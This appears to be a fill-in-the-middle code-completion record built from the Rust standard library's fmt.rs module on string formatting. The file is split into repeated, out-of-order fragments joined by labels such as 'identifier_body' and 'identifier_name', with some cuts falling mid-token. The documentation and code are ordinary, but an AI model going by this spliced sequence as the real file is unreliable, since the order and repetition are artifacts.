myvector); // => "(3, 4)" //! println!("{:?}", myvector); // => "Vector2D {x: 3, y:4}" //! println!("{:10.3b}", myvector); // => " 5.000" //! } //! ``` //! //! ### `fmt::Display` vs `fmt::Debug` //! //! These two formatting traits have distinct purposes: //! //! - [`fmt::Display`][`Display`] implementations assert that the type can be faithfully //! represented as a UTF-8 string at all times. It is **not** expected that //! all types implement the [`Display`] trait. //! - [`fmt::Debug`][`Debug`] implementations should be implemented for **all** public types. //! Output will typically represent the internal state as faithfully as possible. //! The purpose of the [`Debug`] trait is to facilitate debugging Rust code. In //! most cases, using `#[derive(Debug)]` is sufficient and recommended. //! //! Some examples of the output from both traits: //! //! ``` //! assert_eq!(format!("{} {:?}", 3, 4), "3 4"); //! assert_eq!(format!("{} {:?}", 'a', 'b'), "a 'b'"); //! assert_eq!(format!("{} {:?}", "foo\n", "bar\n"), "foo\n \"bar\\n\""); //! ``` //! //! # Related macros //! //! There are a number of related macros in the [`format!`] family. The ones that //! are currently implemented are: //! //! ```ignore (only-for-syntax-highlight) //! format! // described above //! write! // first argument is a &mut io::Write, the destination //! writeln! // same as write but appends a newline //! print! // the format string is printed to the standard output //! println! // same as print but appends a newline //! eprint! // the format string is printed to the standard error //! eprintln! // same as eprint but appends a newline //! format_args! // described below. //! ``` //! //! ### `write!` //! //! This and [`writeln!`] are two macros which are used to emit the format string //! to a specified stream. This is used to prevent intermediate allocations of //! format strings and instead directly write the output. Under the hood, this //! function is actually invoking the [`write_fmt`] function defined on the //! [`std::io::Write`] trait. Example usage is: //! //! ``` //! # #![allow(unused_must_use)] //! use std::io::Write; //! let mut w = Vec::new(); //! write!(&mut w, "Hello {}!", "world"); //! ``` //! //! ### `print!` //! //! This and [`println!`] emit their output to stdout. Similarly to the [`write!`] //! macro, the goal of these macros is to avoid intermediate allocations when //! printing output. Example usage is: //! //! ``` //! print!("Hello {}!", "world"); //! println!("I have a newline {}", "character at the end"); //! ``` //! ### `eprint!` //! //! The [`eprint!`] and [`eprintln!`] macros are identical to //! [`print!`] and [`println!`], respectively, except they emit their //! output to stderr. //! //! ### `format_args!` //! //! This is a curious macro used to safely pass around //! an opaque object describing the format string. This object //! does not require any heap allocations to create, and it only //! references information on the stack. Under the hood, all of //! the related macros are implemented in terms of this. First //! off, some example usage is: //! //! ``` //! # #![allow(unused_must_use)] //! use std::fmt; //! use std::io::{self, Write}; //! //! let mut some_writer = io::stdout(); //! write!(&mut some_writer, "{}", format_args!("print with a {}", "macro")); //! //! fn my_fmt_fn(args: fmt::Arguments) { //! write!(&mut io::stdout(), "{}", args); //! } //! my_fmt_fn(format_args!(", or a {} too", "function")); //! ``` //! //! The result of the [`format_args!`] macro is a value of type [`fmt::Arguments`]. //! This structure can then be passed to the [`write`] and [`format`] functions //! inside this module in order to process the format string. //! The goal of this macro is to even further prevent intermediate allocations //! when dealing with formatting strings. //! //! For example, a logging library could use the standard formatting syntax, but //! it would internally pass around this structure until it has been determined //! where output should go to. //! //! [`fmt::Result`]: Result "fmt::Result" //! [Result]: core::result::Result "std::result::Result" //! [std::fmt::Error]: Error "fmt::Error" //! [`write`]: write() "fmt::write" //! [`to_string`]: crate::string::ToString::to_string "ToString::to_string" //! [`write_fmt`]: ../../std/io/trait.Write.html#method.write_fmt //! [`std::io::Write`]: ../../std/io/trait.Write.html //! [`print!`]: ../../std/macro.print.html "print!" //! [`println!`]: ../../std/macro.println.html "println!" //! [`eprint!`]: ../../std/macro.eprint.html "eprint!" //! [`eprintln!`]: ../../std/macro.eprintln.html "eprintln!" //! [`fmt::Arguments`]: Arguments "fmt::Arguments" //! [`format`]: format() "fmt::format" #![stable(feature = "rust1", since = "1.0.0")] #[unstable(feature = "fmt_internals", issue = "none")] pub use core::fmt::rt; #[stable(feature = "fmt_flags_align", since = "1.28.0")] pub use core::fmt::Alignment; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::Error; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{write, ArgumentV1, Arguments}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Binary, Octal}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Debug, Display}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{DebugList, DebugMap, DebugSet, DebugStruct, DebugTuple}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Formatter, Result, Write}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{LowerExp, UpperExp}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{LowerHex, Pointer, UpperHex}; #[cfg(not(no_global_oom_handling))] use crate::string; /// The `format` function takes an [`Arguments`] struct and returns the resulting /// formatted string. /// /// The [`Arguments`] instance can be created with the [`format_args!`] macro. /// /// # Examples /// /// Basic usage: /// /// ``` /// use std::fmt; /// /// let s = fmt::format(format_args!("Hello, {}!", "world")); /// assert_eq!(s, "Hello, world!"); /// ``` /// /// Please note that using [`format!`] might be preferable. /// Example: /// /// ``` /// let s = format!("Hello, {}!", "world"); /// assert_eq!(s, "Hello, world!"); /// ``` /// /// [`format_args!`]: core::format_args /// [`format!`]: crate::format #[cfg(not(no_global_oom_handling))] #[must_use] #[stable(feature = "rust1", since = "1.0.0")] pub fn format(args: Arguments<'_>) -> string::String { let capacity = a
rgs.estimated_capacity(); let mut output = string::String::with_capacity(capacity); output.write_fmt(args).expect("a formatting trait implementation returned an error"); output }
identifier_body
fmt.rs
//! Utilities for formatting and printing `String`s. //! //! This module contains the runtime support for the [`format!`] syntax extension. //! This macro is implemented in the compiler to emit calls to this module in //! order to format arguments at runtime into strings. //! //! # Usage //! //! The [`format!`] macro is intended to be familiar to those coming from C's //! `printf`/`fprintf` functions or Python's `str.format` function. //! //! Some examples of the [`format!`] extension are: //! //! ``` //! format!("Hello"); // => "Hello" //! format!("Hello, {}!", "world"); // => "Hello, world!" //! format!("The number is {}", 1); // => "The number is 1" //! format!("{:?}", (3, 4)); // => "(3, 4)" //! format!("{value}", value=4); // => "4" //! let people = "Rustaceans"; //! format!("Hello {people}!"); // => "Hello Rustaceans!" //! format!("{} {}", 1, 2); // => "1 2" //! format!("{:04}", 42); // => "0042" with leading zeros //! format!("{:#?}", (100, 200)); // => "( //! // 100, //! // 200, //! // )" //! ``` //! //! From these, you can see that the first argument is a format string. It is //! required by the compiler for this to be a string literal; it cannot be a //! variable passed in (in order to perform validity checking). The compiler //! will then parse the format string and determine if the list of arguments //! provided is suitable to pass to this format string. //! //! To convert a single value to a string, use the [`to_string`] method. This //! will use the [`Display`] formatting trait. //! //! ## Positional parameters //! //! Each formatting argument is allowed to specify which value argument it's //! referencing, and if omitted it is assumed to be "the next argument". For //! example, the format string `{} {} {}` would take three parameters, and they //! would be formatted in the same order as they're given. The format string //! `{2} {1} {0}`, however, would format arguments in reverse order. //! //! Things can get a little tricky once you start intermingling the two types of //! positional specifiers. The "next argument" specifier can be thought of as an //! iterator over the argument. Each time a "next argument" specifier is seen, //! the iterator advances. This leads to behavior like this: //! //! ``` //! format!("{1} {} {0} {}", 1, 2); // => "2 1 1 2" //! ``` //! //! The internal iterator over the argument has not been advanced by the time //! the first `{}` is seen, so it prints the first argument. Then upon reaching //! the second `{}`, the iterator has advanced forward to the second argument. //! Essentially, parameters that explicitly name their argument do not affect //! parameters that do not name an argument in terms of positional specifiers. //! //! A format string is required to use all of its arguments, otherwise it is a //! compile-time error. You may refer to the same argument more than once in the //! format string. //! //! ## Named parameters //! //! Rust itself does not have a Python-like equivalent of named parameters to a //! function, but the [`format!`] macro is a syntax extension that allows it to //! leverage named parameters. Named parameters are listed at the end of the //! argument list and have the syntax: //! //! ```text //! identifier '=' expression //! ``` //! //! For example, the following [`format!`] expressions all use named argument: //! //! ``` //! format!("{argument}", argument = "test"); // => "test" //! format!("{name} {}", 1, name = 2); // => "2 1" //! format!("{a} {c} {b}", a="a", b='b', c=3); // => "a 3 b" //! ``` //! //! If a named parameter does not appear in the argument list, `format!` will //! reference a variable with that name in the current scope. //! //! ``` //! let argument = 2 + 2; //! format!("{argument}"); // => "4" //! //! fn make_string(a: u32, b: &str) -> String { //! format!("{b} {a}") //! } //! make_string(927, "label"); // => "label 927" //! ``` //! //! It is not valid to put positional parameters (those without names) after //! arguments that have names. Like with positional parameters, it is not //! valid to provide named parameters that are unused by the format string. //! //! # Formatting Parameters //! //! Each argument being formatted can be transformed by a number of formatting //! parameters (corresponding to `format_spec` in [the syntax](#syntax)). These //! parameters affect the string representation of what's being formatted. //! //! ## Width //! //! ``` //! // All of these print "Hello x !" //! println!("Hello {:5}!", "x"); //! println!("Hello {:1$}!", "x", 5); //! println!("Hello {1:0$}!", 5, "x"); //! println!("Hello {:width$}!", "x", width = 5); //! let width = 5; //! println!("Hello {:width$}!", "x"); //! ``` //! //! This is a parameter for the "minimum width" that the format should take up. //! If the value's string does not fill up this many characters, then the //! padding specified by fill/alignment will be used to take up the required //! space (see below). //! //! The value for the width can also be provided as a [`usize`] in the list of //! parameters by adding a postfix `$`, indicating that the second argument is //! a [`usize`] specifying the width. //! //! Referring to an argument with the dollar syntax does not affect the "next //! argument" counter, so it's usually a good idea to refer to arguments by //! position, or use named arguments. //! //! ## Fill/Alignment //! //! ``` //! assert_eq!(format!("Hello {:<5}!", "x"), "Hello x !"); //! assert_eq!(format!("Hello {:-<5}!", "x"), "Hello x----!"); //! assert_eq!(format!("Hello {:^5}!", "x"), "Hello x !"); //! assert_eq!(format!("Hello {:>5}!", "x"), "Hello x!"); //! ``` //! //! The optional fill character and alignment is provided normally in conjunction with the //! [`width`](#width) parameter. It must be defined before `width`, right after the `:`. //! This indicates that if the value being formatted is smaller than //! `width` some extra characters will be printed around it. //! Filling comes in the following variants for different alignments: //! //! * `[fill]<` - the argument is left-aligned in `width` columns //! * `[fill]^` - the argument is center-aligned in `width` columns //! * `[fill]>` - the argument is right-aligned in `width` columns //! //! The default [fill/alignment](#fillalignment) for non-numerics is a space and //! left-aligned. The //! default for numeric formatters is also a space character but with right-alignment. If //! the `0` flag (see below) is specified for numerics, then the implicit fill character is //! `0`. //! //! Note that alignment might not be implemented by some types. In particular, it //! is not generally implemented for the `Debug` trait. A good way to ensure //! padding is applied is to format your input, then pad this resulting string //! to obtain your output: //! //! ``` //! println!("Hello {:^15}!", format!("{:?}", Some("hi"))); // => "Hello Some("hi") !" //! ``` //! //! ## Sign/`#`/`0` //! //! ``` //! assert_eq!(format!("Hello {:+}!", 5), "Hello +5!"); //! assert_eq!(format!("{:#x}!", 27), "0x1b!"); //! assert_eq!(format!("Hello {:05}!", 5), "Hello 00005!"); //! assert_eq!(format!("Hello {:05}!", -5), "Hello -0005!"); //! assert_eq!(format!("{:#010x}!", 27), "0x0000001b!"); //! ``` //! //! These are all flags altering the behavior of the formatter. //! //! * `+` - This is intended for numeric types and indicates that the sign //! should always be printed. Positive signs are never printed by //! default, and the negative sign is only printed by default for signed values. //! This flag indicates that the correct sign (`+` or `-`) should always be printed. //! * `-` - Currently not used //! * `#` - This flag indicates that the "alternate" form of printing should //! be used. The alternate forms are: //! * `#?` - pretty-print the [`Debug`] formatting (adds linebreaks and indentation) //! * `#x` - precedes the argument with a `0x` //! * `#X` - precedes the argument with a `0x` //! * `#b` - precedes the argument with a `0b` //! * `#o` - precedes the argument with a `0o` //! * `0` - This is used to indicate for integer formats that the padding to `width` should //! both be done with a `0` character as well as be sign-aware. A format //! like `{:08}` would yield `00000001` for the integer `1`, while the //! same format would yield `-0000001` for the integer `-1`. Notice that //! the negative version has one fewer zero than the positive version. //! Note that padding zeros are always placed after the sign (if any) //! and before the digits. When used together with the `#` flag, a similar //! rule applies: padding zeros are inserted after the prefix but before //! the digits. The prefix is included in the total width. //! //! ## Precision //! //! For non-numeric types, this can be considered a "maximum width". If the resulting string is //! longer than this width, then it is truncated down to this many characters and that truncated //! value is emitted with proper `fill`, `alignment` and `width` if those parameters are set. //! //! For integral types, this is ignored. //! //! For floating-point types, this indicates how many digits after the decimal point should be //! printed. //! //! There are three possible ways to specify the desired `precision`: //! //! 1. An integer `.N`: //! //! the integer `N` itself is the precision. //! //! 2. An integer or name followed by dollar sign `.N$`: //! //! use format *argument* `N` (which must be a `usize`) as the precision. //! //! 3. An asterisk `.*`: //! //! `.*` means that this `{...}` is associated with *two* format inputs rather than one: the //! first input holds the `usize` precision, and the second holds the value to print. Note that //! in this case, if one uses the format string `{<arg>:<spec>.*}`, then the `<arg>` part refers //! to the *value* to print, and the `precision` must come in the input preceding `<arg>`. //! //! For example, the following calls all print the same thing `Hello x is 0.01000`: //! //! ``` //! // Hello {arg 0 ("x")} is {arg 1 (0.01) with precision specified inline (5)} //! println!("Hello {0} is {1:.5}", "x", 0.01); //! //! // Hello {arg 1 ("x")} is {arg 2 (0.01) with precision specified in arg 0 (5)} //! println!("Hello {1} is {2:.0$}", 5, "x", 0.01); //! //! // Hello {arg 0 ("x")} is {arg 2 (0.01) with precision specified in arg 1 (5)} //! println!("Hello {0} is {2:.1$}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {second of next two args (0.01) with precision //! // specified in first of next two args (5)} //! println!("Hello {} is {:.*}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {arg 2 (0.01) with precision //! // specified in its predecessor (5)} //! println!("Hello {} is {2:.*}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {arg "number" (0.01) with precision specified //! // in arg "prec" (5)} //! println!("Hello {} is {number:.prec$}", "x", prec = 5, number = 0.01); //! ``` //! //! While these: //! //! ``` //! println!("{}, `{name:.*}` has 3 fractional digits", "Hello", 3, name=1234.56); //! println!("{}, `{name:.*}` has 3 characters", "Hello", 3, name="1234.56"); //! println!("{}, `{name:>8.*}` has 3 right-aligned characters", "Hello", 3, name="1234.56"); //! ``` //! //! print three significantly different things: //! //! ```text //! Hello, `1234.560` has 3 fractional digits //! Hello, `123` has 3 characters //! Hello, ` 123` has 3 right-aligned characters //! ``` //! //! ## Localization //! //! In some programming languages, the behavior of string formatting functions //! depends on the operating system's locale setting. The format functions //! provided by Rust's standard library do not have any concept of locale and //! will produce the same results on all systems regardless of user //! configuration. //! //! For example, the following code will always print `1.5` even if the system //! locale uses a decimal separator other than a dot. //! //! ``` //! println!("The value is {}", 1.5); //! ``` //! //! # Escaping //! //! The literal characters `{` and `}` may be included in a string by preceding //! them with the same character. For example, the `{` character is escaped with //! `{{` and the `}` character is escaped with `}}`. //! //! ``` //! assert_eq!(format!("Hello {{}}"), "Hello {}"); //! assert_eq!(format!("{{ Hello"), "{ Hello"); //! ``` //! //! # Syntax //! //! To summarize, here you can find the full grammar of format strings. //! The syntax for the formatting language used is drawn from other languages, //! so it should not be too alien. Arguments are formatted with Python-like //! syntax, meaning that arguments are surrounded by `{}` instead of the C-like //! `%`. The actual grammar for the formatting syntax is: //! //! ```text //! format_string := text [ maybe_format text ] * //! maybe_format := '{' '{' | '}' '}' | format //! format := '{' [ argument ] [ ':' format_spec ] '}' //! argument := integer | identifier //! //! format_spec := [[fill]align][sign]['#']['0'][width]['.' precision]type //! fill := character //! align := '<' | '^' | '>' //! sign := '+' | '-' //! width := count //! precision := count | '*' //! type := '' | '?' | 'x?' | 'X?' | identifier //! count := parameter | integer //! parameter := argument '$' //! ``` //! In the above grammar, `text` must not contain any `'{'` or `'}'` characters. //! //! # Formatting traits //! //! When requesting that an argument be formatted with a particular type, you //! are actually requesting that an argument ascribes to a particular trait. //! This allows multiple actual types to be formatted via `{:x}` (like [`i8`] as //! well as [`isize`]). The current mapping of types to traits is: //! //! * *nothing* ⇒ [`Display`] //! * `?` ⇒ [`Debug`] //! * `x?` ⇒ [`Debug`] with lower-case hexadecimal integers //! * `X?` ⇒ [`Debug`] with upper-case hexadecimal integers //! * `o` ⇒ [`Octal`] //! * `x` ⇒ [`LowerHex`] //! * `X` ⇒ [`UpperHex`] //! * `p` ⇒ [`Pointer`] //! * `b` ⇒ [`Binary`] //! * `e` ⇒ [`LowerExp`] //! * `E` ⇒ [`UpperExp`] //! //! What this means is that any type of argument which implements the //! [`fmt::Binary`][`Binary`] trait can then be formatted with `{:b}`. Implementations //! are provided for these traits for a number of primitive types by the //! standard library as well. If no format is specified (as in `{}` or `{:6}`), //! then the format trait used is the [`Display`] trait. //! //! When implementing a format trait for your own type, you will have to //! implement a method of the signature: //! //! ``` //! # #![allow(dead_code)] //! # use std::fmt; //! # struct Foo; // our custom type //! # impl fmt::Display for Foo { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! # write!(f, "testing, testing") //! # } } //! ``` //! //! Your type will be passed as `self` by-reference, and then the function //! should emit output into the `f.buf` stream. It is up to each format trait //! implementation to correctly adhere to the requested formatting parameters. //! The values of these parameters will be listed in the fields of the //! [`Formatter`] struct. In order to help with this, the [`Formatter`] struct also //! provides some helper methods. //! //! Additionally, the return value of this function is [`fmt::Result`] which is a //! type alias of <code>[Result]<(), [std::fmt::Error]></code>. Formatting implementations //! should ensure that they propagate errors from the [`Formatter`] (e.g., when //! calling [`write!`]). However, they should never return errors spuriously. That //! is, a formatting implementation must and may only return an error if the //! passed-in [`Formatter`] returns an error. This is because, contrary to what //! the function signature might suggest, string formatting is an infallible //! operation. This function only returns a result because writing to the //! underlying stream might fail and it must provide a way to propagate the fact //! that an error has occurred back up the stack. //! //! An example of implementing the formatting traits would look //! like: //! //! ``` //! use std::fmt; //! //! #[derive(Debug)] //! struct Vector2D { //! x: isize, //! y: isize, //! } //! //! impl fmt::Display for Vector2D { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! // The `f` value implements the `Write` trait, which is what the //! // write! macro is expecting. Note that this formatting ignores the //! // various flags provided to format strings. //! write!(f, "({}, {})", self.x, self.y) //! } //! } //! //! // Different traits allow different forms of output of a type. The meaning //! // of this format is to print the magnitude of a vector. //! impl fmt::Binary for Vector2D { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! let magnitude = (self.x * self.x + self.y * self.y) as f64; //! let magnitude = magnitude.sqrt(); //! //! // Respect the formatting flags by using the helper method //! // `pad_integral` on the Formatter object. See the method //! // documentation for details, and the function `pad` can be used //! // to pad strings. //! let decimals = f.precision().unwrap_or(3); //! let string = format!("{:.*}", decimals, magnitude); //! f.pad_integral(true, "", &string) //! } //! } //! //! fn main() { //! let myvector = Vector2D { x: 3, y: 4 }; //! //! println!("{}", myvector); // => "(3, 4)" //! println!("{:?}", myvector); // => "Vector2D {x: 3, y:4}" //! println!("{:10.3b}", myvector); // => " 5.000" //! } //! ``` //! //! ### `fmt::Display` vs `fmt::Debug` //! //! These two formatting traits have distinct purposes: //! //! - [`fmt::Display`][`Display`] implementations assert that the type can be faithfully //! represented as a UTF-8 string at all times. It is **not** expected that //! all types implement the [`Display`] trait. //! - [`fmt::Debug`][`Debug`] implementations should be implemented for **all** public types. //! Output will typically represent the internal state as faithfully as possible. //! The purpose of the [`Debug`] trait is to facilitate debugging Rust code. In //! most cases, using `#[derive(Debug)]` is sufficient and recommended. //! //! Some examples of the output from both traits: //! //! ``` //! assert_eq!(format!("{} {:?}", 3, 4), "3 4"); //! assert_eq!(format!("{} {:?}", 'a', 'b'), "a 'b'"); //! assert_eq!(format!("{} {:?}", "foo\n", "bar\n"), "foo\n \"bar\\n\""); //! ``` //! //! # Related macros //! //! There are a number of related macros in the [`format!`] family. The ones that //! are currently implemented are: //! //! ```ignore (only-for-syntax-highlight) //! format! // described above //! write! // first argument is a &mut io::Write, the destination //! writeln! // same as write but appends a newline //! print! // the format string is printed to the standard output //! println! // same as print but appends a newline //! eprint! // the format string is printed to the standard error //! eprintln! // same as eprint but appends a newline //! format_args! // described below. //! ``` //! //! ### `write!` //! //! This and [`writeln!`] are two macros which are used to emit the format string //! to a specified stream. This is used to prevent intermediate allocations of //! format strings and instead directly write the output. Under the hood, this //! function is actually invoking the [`write_fmt`] function defined on the //! [`std::io::Write`] trait. Example usage is: //! //! ``` //! # #![allow(unused_must_use)] //! use std::io::Write; //! let mut w = Vec::new(); //! write!(&mut w, "Hello {}!", "world"); //! ``` //! //! ### `print!` //! //! This and [`println!`] emit their output to stdout. Similarly to the [`write!`] //! macro, the goal of these macros is to avoid intermediate allocations when //! printing output. Example usage is: //! //! ``` //! print!("Hello {}!", "world"); //! println!("I have a newline {}", "character at the end"); //! ``` //! ### `eprint!` //! //! The [`eprint!`] and [`eprintln!`] macros are identical to //! [`print!`] and [`println!`], respectively, except they emit their //! output to stderr. //! //! ### `format_args!` //! //! This is a curious macro used to safely pass around //! an opaque object describing the format string. This object //! does not require any heap allocations to create, and it only //! references information on the stack. Under the hood, all of //! the related macros are implemented in terms of this. First //! off, some example usage is: //! //! ``` //! # #![allow(unused_must_use)] //! use std::fmt; //! use std::io::{self, Write}; //! //! let mut some_writer = io::stdout(); //! write!(&mut some_writer, "{}", format_args!("print with a {}", "macro")); //! //! fn my_fmt_fn(args: fmt::Arguments) { //! write!(&mut io::stdout(), "{}", args); //! } //! my_fmt_fn(format_args!(", or a {} too", "function")); //! ``` //! //! The result of the [`format_args!`] macro is a value of type [`fmt::Arguments`]. //! This structure can then be passed to the [`write`] and [`format`] functions //! inside this module in order to process the format string. //! The goal of this macro is to even further prevent intermediate allocations //! when dealing with formatting strings. //! //! For example, a logging library could use the standard formatting syntax, but //! it would internally pass around this structure until it has been determined //! where output should go to. //! //! [`fmt::Result`]: Result "fmt::Result" //! [Result]: core::result::Result "std::result::Result" //! [std::fmt::Error]: Error "fmt::Error" //! [`write`]: write() "fmt::write" //! [`to_string`]: crate::string::ToString::to_string "ToString::to_string" //! [`write_fmt`]: ../../std/io/trait.Write.html#method.write_fmt //! [`std::io::Write`]: ../../std/io/trait.Write.html //! [`print!`]: ../../std/macro.print.html "print!" //! [`println!`]: ../../std/macro.println.html "println!" //! [`eprint!`]: ../../std/macro.eprint.html "eprint!" //! [`eprintln!`]: ../../std/macro.eprintln.html "eprintln!" //! [`fmt::Arguments`]: Arguments "fmt::Arguments" //! [`format`]: format() "fmt::format" #![stable(feature = "rust1", since = "1.0.0")] #[unstable(feature = "fmt_internals", issue = "none")] pub use core::fmt::rt; #[stable(feature = "fmt_flags_align", since = "1.28.0")] pub use core::fmt::Alignment; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::Error; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{write, ArgumentV1, Arguments}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Binary, Octal}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Debug, Display}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{DebugList, DebugMap, DebugSet, DebugStruct, DebugTuple}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Formatter, Result, Write}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{LowerExp, UpperExp}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{LowerHex, Pointer, UpperHex}; #[cfg(not(no_global_oom_handling))] use crate::string; /// The `format` function takes an [`Arguments`] struct and returns the resulting /// formatted string. /// /// The [`Arguments`] instance can be created with the [`format_args!`] macro. /// /// # Examples /// /// Basic usage: /// /// ``` /// use std::fmt; /// /// let s = fmt::format(format_args!("Hello, {}!", "world")); /// assert_eq!(s, "Hello, world!"); /// ``` /// /// Please note that using [`format!`] might be preferable. /// Example: /// /// ``` /// let s = format!("Hello, {}!", "world"); /// assert_eq!(s, "Hello, world!"); /// ``` /// /// [`format_args!`]: core::format_args /// [`format!`]: crate::format #[cfg(not(no_global_oom_handling))] #[must_use] #[stable(feature = "rust1", since = "1.0.0")] pub fn format(args: Arguments
-> string::String { let capacity = args.estimated_capacity(); let mut output = string::String::with_capacity(capacity); output.write_fmt(args).expect("a formatting trait implementation returned an error"); output }
<'_>)
identifier_name
fmt.rs
//! Utilities for formatting and printing `String`s. //! //! This module contains the runtime support for the [`format!`] syntax extension. //! This macro is implemented in the compiler to emit calls to this module in //! order to format arguments at runtime into strings. //! //! # Usage //! //! The [`format!`] macro is intended to be familiar to those coming from C's //! `printf`/`fprintf` functions or Python's `str.format` function. //! //! Some examples of the [`format!`] extension are: //! //! ``` //! format!("Hello"); // => "Hello" //! format!("Hello, {}!", "world"); // => "Hello, world!" //! format!("The number is {}", 1); // => "The number is 1" //! format!("{:?}", (3, 4)); // => "(3, 4)" //! format!("{value}", value=4); // => "4" //! let people = "Rustaceans"; //! format!("Hello {people}!"); // => "Hello Rustaceans!" //! format!("{} {}", 1, 2); // => "1 2" //! format!("{:04}", 42); // => "0042" with leading zeros //! format!("{:#?}", (100, 200)); // => "( //! // 100, //! // 200, //! // )" //! ``` //! //! From these, you can see that the first argument is a format string. It is //! required by the compiler for this to be a string literal; it cannot be a //! variable passed in (in order to perform validity checking). The compiler //! will then parse the format string and determine if the list of arguments //! provided is suitable to pass to this format string. //! //! To convert a single value to a string, use the [`to_string`] method. This //! will use the [`Display`] formatting trait. //! //! ## Positional parameters //! //! Each formatting argument is allowed to specify which value argument it's //! referencing, and if omitted it is assumed to be "the next argument". For //! example, the format string `{} {} {}` would take three parameters, and they //! would be formatted in the same order as they're given. The format string //! `{2} {1} {0}`, however, would format arguments in reverse order. //! //! Things can get a little tricky once you start intermingling the two types of //! positional specifiers. The "next argument" specifier can be thought of as an //! iterator over the argument. Each time a "next argument" specifier is seen, //! the iterator advances. This leads to behavior like this: //! //! ``` //! format!("{1} {} {0} {}", 1, 2); // => "2 1 1 2" //! ``` //! //! The internal iterator over the argument has not been advanced by the time //! the first `{}` is seen, so it prints the first argument. Then upon reaching //! the second `{}`, the iterator has advanced forward to the second argument. //! Essentially, parameters that explicitly name their argument do not affect //! parameters that do not name an argument in terms of positional specifiers. //! //! A format string is required to use all of its arguments, otherwise it is a //! compile-time error. You may refer to the same argument more than once in the //! format string. //! //! ## Named parameters //! //! Rust itself does not have a Python-like equivalent of named parameters to a //! function, but the [`format!`] macro is a syntax extension that allows it to //! leverage named parameters. Named parameters are listed at the end of the //! argument list and have the syntax: //! //! ```text //! identifier '=' expression //! ``` //! //! For example, the following [`format!`] expressions all use named argument: //! //! ``` //! format!("{argument}", argument = "test"); // => "test" //! format!("{name} {}", 1, name = 2); // => "2 1" //! format!("{a} {c} {b}", a="a", b='b', c=3); // => "a 3 b" //! ``` //! //! If a named parameter does not appear in the argument list, `format!` will //! reference a variable with that name in the current scope. //! //! ``` //! let argument = 2 + 2; //! format!("{argument}"); // => "4" //! //! fn make_string(a: u32, b: &str) -> String { //! format!("{b} {a}") //! } //! make_string(927, "label"); // => "label 927" //! ``` //! //! It is not valid to put positional parameters (those without names) after //! arguments that have names. Like with positional parameters, it is not //! valid to provide named parameters that are unused by the format string. //! //! # Formatting Parameters //! //! Each argument being formatted can be transformed by a number of formatting //! parameters (corresponding to `format_spec` in [the syntax](#syntax)). These //! parameters affect the string representation of what's being formatted. //! //! ## Width //!
//! println!("Hello {:1$}!", "x", 5); //! println!("Hello {1:0$}!", 5, "x"); //! println!("Hello {:width$}!", "x", width = 5); //! let width = 5; //! println!("Hello {:width$}!", "x"); //! ``` //! //! This is a parameter for the "minimum width" that the format should take up. //! If the value's string does not fill up this many characters, then the //! padding specified by fill/alignment will be used to take up the required //! space (see below). //! //! The value for the width can also be provided as a [`usize`] in the list of //! parameters by adding a postfix `$`, indicating that the second argument is //! a [`usize`] specifying the width. //! //! Referring to an argument with the dollar syntax does not affect the "next //! argument" counter, so it's usually a good idea to refer to arguments by //! position, or use named arguments. //! //! ## Fill/Alignment //! //! ``` //! assert_eq!(format!("Hello {:<5}!", "x"), "Hello x !"); //! assert_eq!(format!("Hello {:-<5}!", "x"), "Hello x----!"); //! assert_eq!(format!("Hello {:^5}!", "x"), "Hello x !"); //! assert_eq!(format!("Hello {:>5}!", "x"), "Hello x!"); //! ``` //! //! The optional fill character and alignment is provided normally in conjunction with the //! [`width`](#width) parameter. It must be defined before `width`, right after the `:`. //! This indicates that if the value being formatted is smaller than //! `width` some extra characters will be printed around it. //! Filling comes in the following variants for different alignments: //! //! * `[fill]<` - the argument is left-aligned in `width` columns //! * `[fill]^` - the argument is center-aligned in `width` columns //! * `[fill]>` - the argument is right-aligned in `width` columns //! //! The default [fill/alignment](#fillalignment) for non-numerics is a space and //! left-aligned. The //! default for numeric formatters is also a space character but with right-alignment. If //! the `0` flag (see below) is specified for numerics, then the implicit fill character is //! `0`. //! //! Note that alignment might not be implemented by some types. In particular, it //! is not generally implemented for the `Debug` trait. A good way to ensure //! padding is applied is to format your input, then pad this resulting string //! to obtain your output: //! //! ``` //! println!("Hello {:^15}!", format!("{:?}", Some("hi"))); // => "Hello Some("hi") !" //! ``` //! //! ## Sign/`#`/`0` //! //! ``` //! assert_eq!(format!("Hello {:+}!", 5), "Hello +5!"); //! assert_eq!(format!("{:#x}!", 27), "0x1b!"); //! assert_eq!(format!("Hello {:05}!", 5), "Hello 00005!"); //! assert_eq!(format!("Hello {:05}!", -5), "Hello -0005!"); //! assert_eq!(format!("{:#010x}!", 27), "0x0000001b!"); //! ``` //! //! These are all flags altering the behavior of the formatter. //! //! * `+` - This is intended for numeric types and indicates that the sign //! should always be printed. Positive signs are never printed by //! default, and the negative sign is only printed by default for signed values. //! This flag indicates that the correct sign (`+` or `-`) should always be printed. //! * `-` - Currently not used //! * `#` - This flag indicates that the "alternate" form of printing should //! be used. The alternate forms are: //! * `#?` - pretty-print the [`Debug`] formatting (adds linebreaks and indentation) //! * `#x` - precedes the argument with a `0x` //! * `#X` - precedes the argument with a `0x` //! * `#b` - precedes the argument with a `0b` //! * `#o` - precedes the argument with a `0o` //! * `0` - This is used to indicate for integer formats that the padding to `width` should //! both be done with a `0` character as well as be sign-aware. A format //! like 